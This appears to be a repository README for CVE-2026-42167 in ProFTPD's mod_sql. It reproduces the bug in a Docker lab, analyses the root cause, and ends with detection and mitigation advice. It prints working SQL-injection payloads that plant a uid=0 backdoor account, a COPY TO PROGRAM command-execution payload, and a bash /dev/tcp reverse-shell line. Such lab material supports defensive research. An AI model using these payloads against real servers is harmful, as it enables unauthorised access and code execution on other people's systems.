
Independent reproduction, code-level root-cause analysis, and realistic-exposure write-up for CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() bypass).
mod_sql SQL Injection / Auth Bypass / RCEIndependent reproduction, code-level root-cause walkthrough, and a frank
exposure analysis for CVE-2026-42167 — the is_escaped_text() bypass in
ProFTPD's mod_sql logging pipeline disclosed by ZeroPath Research and fixed
in ProFTPD 1.3.9a / 1.3.10rc1.
Built and verified end-to-end in Docker on macOS / Apple Silicon, 2026-04-29.
TL;DR — see Bottom line for the realistic exposure picture before deciding how worried to be. This is not a default-install bug, but the dangerous quoting pattern is the pattern the upstream docs tell you to use, so a large fraction of
mod_sqldeployments inherit it.
| Field | Value |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM) |
| Affected | ProFTPD ≤ 1.3.9 with mod_sql + SQLLog/SQLNamedQuery whose format string interpolates an attacker-controlled variable inside single quotes |
| Fixed in | 1.3.9a (af90843ba…) / 1.3.10rc1, see commit e6f728481 ("Issue #2052") |
| Pinned vulnerable commit | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Vulnerable file | contrib/mod_sql.c lines 741–758 (is_escaped_text) and line 777 (sql_resolved_append_text) |
| Original disclosure | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Public PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Release notes | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() heuristic in contrib/mod_sql.cmod_sql resolves logging format variables (%U, %{basename}, etc.) and
appends each piece into the rendered SQL via sql_resolved_append_text().
To preserve backwards compatibility with admin configs that already wrap
variables in '…', the function calls is_escaped_text() to decide
whether sql_escapestring is needed:
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char *text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != '\'') return FALSE;
745 if (text[text_len-1] != '\'') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == '\'') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… /* …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
The check is purely structural — it cannot distinguish "already escaped by
trusted code" from "crafted by an attacker to look already escaped."
Any client-supplied value matching '<no-internal-quotes>' skips
sql_escapestring and is concatenated raw into the final query.
The standard, documented config wraps %U / %{basename} / %m in single
quotes:
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
When the attacker sends USER '<payload>' (start- and end-quote, no
internal quotes), the resolver substitutes %U unescaped, producing
''<payload>'' in the SQL — the empty string literals close the
surrounding quotes and <payload> runs as raw SQL. With PostgreSQL
(PQexec) and SQLite (sqlite3_exec), stacked queries are supported, so
<payload> can be any sequence of statements.
Because SQLLog ERR_* fires on failed logins and %U is set from
USER before authentication, the attack is fully unauthenticated.
e6f728481, "Issue #2052")sql_resolved_append_text() gains an already_escaped parameter. Callers
that resolve values from client input pass FALSE and now go through
sql_escapestring unconditionally — the is_escaped_text() heuristic is
still applied for the legitimate "config has pre-escaped value" path but
no longer applies to attacker-controlled data.
+--------------------+ FTP 21 +-----------------------+
| attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server |
| python3 PoCs | | ProFTPD 1.3.9-pre |
+--------------------+ | mod_sql_postgres |
+-----------+-----------+
| libpq
v
+-----------------------+
| proftpd-poc-postgres |
| PostgreSQL 15 |
| role 'proftpd' = SU |
+-----------------------+
setup/docker-compose.yml.setup/proftpd.conf enables the vulnerable logging config (see §1).setup/seed.sql creates users, groups, activity_log, xfer_log,
and secrets, plus a single legitimate FTP user ftpuser / ftppass.Prerequisites: Docker Desktop, Python 3.10+, git. (uv is optional; the
PoCs are stdlib-only.)
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
The two interactive variants in the upstream repo
(preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a
PTY-backed reverse shell. They use the same primitive as the marker
variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.
USER command, %U)USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x
Why it works:
is_escaped_text() → escape skipped.SQLNamedQuery is INSERT "'%U', '%r', '%m'" activity_log,
so the rendered SQL becomes
INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>') — but
<payload> itself starts with ', so the effective query is
INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>').-- comments out the trailing format slots.$$…$$ PostgreSQL dollar-quoting lets us pass strings (backdoor,
pwned123, /, /bin/bash) without ever using ' — preserving the
is_escaped_text() bypass.SQLLog ERR_* fires on the failed login → PQexec() runs the stacked
INSERT INTO users → backdoor account exists in the auth table.STOR filename, %{basename})STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Same bypass, different trigger. chr(47) = '/' is used because
/ in a filename is interpreted as a directory separator by FTP, so the
attacker can't put a literal / in the filename — chr() lets the
backdoor account get homedir = '/' without sending one over the wire.
USER + COPY TO PROGRAM)USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$<shell-cmd>$$; --'
PASS x
Where <shell-cmd> is any command. PostgreSQL runs it through /bin/sh
on the database host as the postgres OS user. Requires the DB role
used by mod_sql to be a superuser (or member of
pg_execute_server_program) — common in single-tenant deployments and
the default for the official postgres Docker image when the role is
created via POSTGRES_USER.
| File | What it shows |
|---|---|
logs/01_preauth_backdoor.log | Pre-auth PoC output, login as backdoor succeeds (230) |
logs/02_db_users_after.log | users table now contains backdoor / pwned123 / uid=0 |
logs/03_postauth_stor_backdoor.log | Post-auth PoC output via STOR %{basename} |
logs/05_preauth_rce_marker.log | Marker payload sent over FTP |
logs/06_users_final.log | Final users table state |
logs/07_proftpd_trace.log | ProFTPD's own trace log printing text '…' is already escaped, skipping escaping it again for each injected payload — direct evidence of is_escaped_text() returning TRUE on attacker input |
logs/08_rce_proof.log | /tmp/cve-2026-42167-rce.txt written by the postgres user on the postgres container |
screenshots/*.png | PNG renders of each captured terminal session |
The trace log line is the smoking gun:
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
That message is emitted at contrib/mod_sql.c:791 only when
is_escaped_text() returned TRUE — i.e. exactly the bypass.
Detection (forensics on a deployed server):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
with Trace sql:17 enabled flags every injection attempt that reached the
bypass.activity_log (or whichever table SQLNamedQuery INSERT writes into):
rows where the username column starts with a stray quote, contains null, null);, or contains INSERT/COPY TO PROGRAM/UPDATE are evidence.users table for accounts with uid=0, homedir='/', or shell
set to a real shell when the policy is to use /sbin/nologin.Mitigation:
e6f728481).SQLNamedQuery format strings (replace '%U'
with the safer %U only inside parameterised backends, or use plaintext
file-based logging for failed logins).mod_sql PostgreSQL role is not a
superuser — that alone removes the COPY TO PROGRAM RCE path (the auth
bypass via stacked INSERT INTO users still works, but the blast radius
is contained to the proftpd database)..
├── README.md # this file
├── poc/ # ZeroPath PoC, cloned
│ ├── README.md
│ ├── pocs/
│ │ ├── preauth_user_backdoor.py
│ │ ├── preauth_user_rce.py
│ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof
│ │ ├── postauth_stor_backdoor.py
│ │ └── postauth_stor_rce.py
│ └── setup/
│ ├── docker-compose.yml
│ ├── Dockerfile.proftpd
│ ├── proftpd.conf
│ ├── seed.sql
│ ├── setup.sh
│ └── teardown.sh
├── logs/ # raw terminal output captured during reproduction
└── screenshots/ # PNG renders of each log
├── 00_overview.png
├── 01_preauth_backdoor.png
├── 02_db_users_after.png
├── 03_postauth_stor_backdoor.png
├── 04_preauth_rce_marker.png
├── 05_rce_proof.png
├── 06_proftpd_trace.png
└── 07_users_final.png
The honest answer: narrower than a "send-one-packet-and-own-the-server" worm, but the vulnerable pattern is in ProFTPD's own documentation, so it's not contrived. Three independent dimensions decide whether a given deployment is hit, and each one whittles down the population.
mod_sql even loaded?mod_sql is opt-in. It's not in the default ProFTPD build and not in
the default config of distro packages like Debian's proftpd-basic. You
only have it if:
--with-modules=mod_sql:mod_sql_<backend>, orproftpd-mod-pgsql /
proftpd-mod-mysql / proftpd-mod-sqlite, RHEL proftpd-postgresql /
proftpd-mysql.People install those packages for a clear reason: SQL-backed
authentication (users in a DB instead of /etc/passwd) or SQL-backed
activity logging for audit. Both are common in shared-hosting,
managed-FTP, and corporate FTP-drop deployments. So mod_sql is a real
chunk of the install base — just not "every server."
SQLNamedQuery pattern actually used?This is where realism is highest. The pattern that triggers the bug is the documented one. Examples lifted directly from the upstream tree at the pinned vulnerable commit:
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Every one wraps an attacker-controlled variable (%u, %r) in single
quotes — exactly the shape is_escaped_text() mis-classifies. An admin
who copy-pastes from the upstream docs inherits the vulnerable pattern.
That's the headline reason to take this seriously.
The fully-unauthenticated path (USER + %U + SQLLog ERR_*) is the
narrowest case. It requires all three:
SQLNamedQuery interpolating %U (original-username, set even on
failed login) inside single quotes — less common than %u in real
configs, since most admins want the successful username for audit and
use %u.SQLLog directive that fires before authentication. SQLLog ERR_* is
the canonical wildcard for that. SQLLog PASS … and SQLLog STOR …
(the most common forms) do not.If the config uses %u rather than %U, the same bug still produces
auth-bypass — but only post-auth, i.e. the attacker first needs any
working credentials before they can plant a uid=0 backdoor. In most real
configs this is the realistic exposure: low-privilege FTP user → root-
equivalent FTP user via one upload.
The bypass fires identically on every backend, but what the attacker can do differs sharply:
| Backend | Stacked queries? | Auth bypass via INSERT INTO users | RCE on DB host |
|---|---|---|---|
| PostgreSQL | Yes (PQexec) | Works | Yes via COPY TO PROGRAM if DB role is superuser |
| SQLite | Yes (sqlite3_exec) | Works (and the FTP worker often has PRIVS_ROOT — even worse) | No direct equivalent, but writable users table → root FTP login |
| MySQL | No — mysql_real_query w/o CLIENT_MULTI_STATEMENTS | Cannot append a second statement; reduces to single-statement subquery / blind SQLi for data exfil only | No |
PostgreSQL or SQLite ⇒ full impact. MySQL ⇒ data leakage / time-based blind only. MySQL is by far the most common backend for shared hosting (cPanel, Plesk, ISPConfig all default to it); PostgreSQL is more common in custom enterprise builds. Both populations are non-trivial.
The headline COPY TO PROGRAM RCE additionally requires the mod_sql
PostgreSQL role to be a superuser (or a member of
pg_execute_server_program). That's:
postgres Docker
image's POSTGRES_USER env var (the default for most PoC labs and many
appliance images, including this repo's setup/).If the role is not a superuser, you still get the auth-bypass primitive (itself critical), but the OS-level RCE on the DB host disappears.
ProFTPD installs
└── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP
├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's
│ the documented form)
│ ├── PostgreSQL backend
│ │ ├── DB role = superuser → pre-/post-auth RCE on DB host
│ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass)
│ ├── SQLite backend → post-auth root FTP backdoor
│ │ (worker often runs as root → very bad)
│ └── MySQL backend → post-auth blind SQLi / data exfil only
└── ~with attacker-controlled %U + SQLLog ERR_* (uncommon)
→ fully pre-auth versions of the above
For anyone running ProFTPD mod_sql:
users / auth table for stray uid=0 rows or recently-
added accounts — see §6.Trace sql:17 and grep
is already escaped, skipping escaping it again in trace.log — that
line is direct evidence of an attempted bypass.SQLLog ERR_* directives and any
SQLNamedQuery INSERT formats that interpolate %U (the pre-auth
primitive). The post-auth path will still exist via %u /
%{basename}, but you remove the worst case.mod_sql.%U + SQLLog ERR_* wildcard) config
combo that is less common than the post-auth path.mod_sql + PostgreSQL/SQLite deployments using the
documented logging patterns.e6f72848
("Issue #2052").This repository is independent reproduction and analysis for defensive research and education. No 0-day. Use only on systems you are authorised to test.